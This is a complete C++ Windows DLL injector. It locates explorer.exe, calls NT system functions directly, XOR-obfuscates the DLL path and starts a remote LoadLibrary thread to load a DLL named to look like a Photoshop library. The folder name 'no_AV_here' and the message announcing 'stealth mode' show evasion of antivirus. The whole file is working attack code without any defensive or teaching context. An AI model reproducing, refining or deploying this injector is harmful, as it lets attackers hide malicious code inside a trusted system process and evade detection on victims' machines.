#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>  // For EnumProcessModules
#include <winternl.h>
#include <iostream>
#include <vector>

// Typedefs (same)
typedef NTSTATUS (NTAPI* NtOpenProcess_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI* NtProtectVirtualMemory_t)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);

// XOR helpers (same)
const BYTE XOR_KEY = 0xAA;
std::string XORObfuscate(const std::string& str) {
    std::string out = str;
    for (char& c : out) c ^= XOR_KEY;
    return out;
}
std::string XORDeobfuscate(const std::string& str) {
    return XORObfuscate(str);
}

// PID finder (same)
DWORD FindProcessId(const std::wstring& processName) {
    DWORD pid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) };
        if (Process32FirstW(hSnapshot, &pe32)) {
            do {
                if (processName == pe32.szExeFile) {
                    pid = pe32.th32ProcessID;
                    break;
                }
            } while (Process32NextW(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return pid;
}

// Get remote DLL base address (via EnumProcessModules)
HMODULE GetRemoteModuleBase(HANDLE hProcess, const std::string& dllName) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        DWORD numMods = cbNeeded / sizeof(HMODULE);
        for (DWORD i = 0; i < numMods; i++) {
            char szModName[MAX_PATH];
            if (GetModuleBaseNameA(hProcess, hMods[i], szModName, sizeof(szModName))) {
                if (dllName == szModName) {
                    return hMods[i];
                }
            }
        }
    }
    return NULL;
}

// Helper to print NTSTATUS as hex + Win32 error
void PrintError(const char* op, NTSTATUS status) {
    DWORD err = GetLastError();  // Win32 equiv
    std::cerr << op << " failed with NTSTATUS 0x" << std::hex << status << " (Win32: " << std::dec << err << ")\n";
}

// Simplified InjectDLL (no args, longer wait for enum)
bool InjectDLL(DWORD pid, const std::string& dllPathObf) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) { std::cerr << "GetModuleHandle(ntdll.dll) failed\n"; return false; }

    NtOpenProcess_t pNtOpen = (NtOpenProcess_t)GetProcAddress(hNtdll, "NtOpenProcess");
    NtAllocateVirtualMemory_t pNtAlloc = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    NtWriteVirtualMemory_t pNtWrite = (NtWriteVirtualMemory_t)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    NtCreateThreadEx_t pNtCreate = (NtCreateThreadEx_t)GetProcAddress(hNtdll, "NtCreateThreadEx");
    if (!pNtOpen || !pNtAlloc || !pNtWrite || !pNtCreate) {
        std::cerr << "GetProcAddress failed for NT APIs\n";
        return false;
    }

    // Deobfuscate DLL path
    std::string dllPath = XORDeobfuscate(dllPathObf);
    SIZE_T dllPathSize = dllPath.size() + 1;

    // Step 1: Open process
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };
    NTSTATUS status = pNtOpen(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
    if (status != 0) {
        PrintError("NtOpenProcess", status);
        return false;
    }
    if (!hProcess) { std::cerr << "NtOpenProcess returned NULL handle\n"; return false; }

    // Step 2: Alloc/write DLL path
    PVOID pRemoteDllPath = NULL;
    SIZE_T regionSize = dllPathSize;
    status = pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        PrintError("NtAllocateVirtualMemory (DLL path)", status);
        CloseHandle(hProcess);
        return false;
    }
    SIZE_T bytesWritten = 0;
    status = pNtWrite(hProcess, pRemoteDllPath, (PVOID)dllPath.c_str(), dllPathSize, &bytesWritten);
    if (status != 0 || bytesWritten != dllPathSize) {
        PrintError("NtWriteVirtualMemory (DLL path)", status);
        regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0);
        CloseHandle(hProcess);
        return false;
    }

    // Step 3: LoadLibrary remote thread
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
    if (!pLoadLibrary) { std::cerr << "GetProcAddress(LoadLibraryA) failed\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; }

    HANDLE hLoadThread = NULL;
    OBJECT_ATTRIBUTES threadOA = { sizeof(OBJECT_ATTRIBUTES) };
    status = pNtCreate(&hLoadThread, THREAD_ALL_ACCESS, &threadOA, hProcess, (PVOID)pLoadLibrary, pRemoteDllPath, 0, 0, 0, 0, NULL);
    if (status != 0) {
        PrintError("NtCreateThreadEx (LoadLibrary)", status);
        regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false;
    }
    if (!hLoadThread) { std::cerr << "NtCreateThreadEx returned NULL thread\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; }
    WaitForSingleObject(hLoadThread, INFINITE);
    DWORD loadExitCode = 0;
    GetExitCodeThread(hLoadThread, &loadExitCode);  // HMODULE as exit code
    std::cout << "LoadLibrary thread exited with 0x" << std::hex << loadExitCode << " (DLL base if !=0)\n";
    CloseHandle(hLoadThread);

    // Double-load
    status = pNtCreate(&hLoadThread, THREAD_ALL_ACCESS, &threadOA, hProcess, (PVOID)pLoadLibrary, pRemoteDllPath, 0, 0, 0, 0, NULL);
    if (status != 0) {
        PrintError("NtCreateThreadEx (double-load)", status);
    }
    WaitForSingleObject(hLoadThread, INFINITE);
    CloseHandle(hLoadThread);

    // Cleanup DLL path mem
    regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, &regionSize, MEM_RELEASE, 0);

    // Step 4: Wait for module list update, then get remote DLL base
    Sleep(2000);  // 2s delay for explorer to register module
    HMODULE hRemoteDll = GetRemoteModuleBase(hProcess, "libphotoshop.dll");
    if (!hRemoteDll) { 
        std::cerr << "GetRemoteModuleBase failed - DLL not loaded? Check LoadLibrary exit code above.\n"; 
        CloseHandle(hProcess); 
        return false; 
    }
    std::cout << "DLL loaded at remote base 0x" << std::hex << hRemoteDll << "\n";

    // No args injection - DllMain's InitThread runs default start_a
    CloseHandle(hProcess);
    return true;
}

int main() {
    std::wstring targetName = L"explorer.exe";
    DWORD pid = FindProcessId(targetName);
    if (pid == 0) {
        std::cerr << "Target process not found!" << std::endl;
        return 1;
    }

    std::string dllPathPlain = "C:\\Users\\MyWindowsUser\\Downloads\\no_AV_here\\libphotoshop.dll";
    std::string dllPathObf = XORObfuscate(dllPathPlain);

    if (InjectDLL(pid, dllPathObf)) {
        std::cout << "DLL injected into PID " << pid << " (stealth mode)!" << std::endl;
        Sleep(5000);
    } else {
        std::cerr << "Injection failed!" << std::endl;
        return 1;
    }

    return 0;
}